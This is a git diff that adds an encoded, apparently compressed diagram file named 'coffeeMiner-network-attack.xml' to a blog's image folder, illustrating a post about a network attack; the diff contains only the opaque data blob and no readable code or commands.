a/public/img/posts/coffeeMiner/coffeeMiner-network-attack.xml b/public/img/posts/coffeeMiner/coffeeMiner-network-attack.xml new file mode 100644 index 0000000..b71bf44 --- /dev/null +++ b/public/img/posts/coffeeMiner/coffeeMiner-network-attack.xml @@ -0,0 +1 @@ +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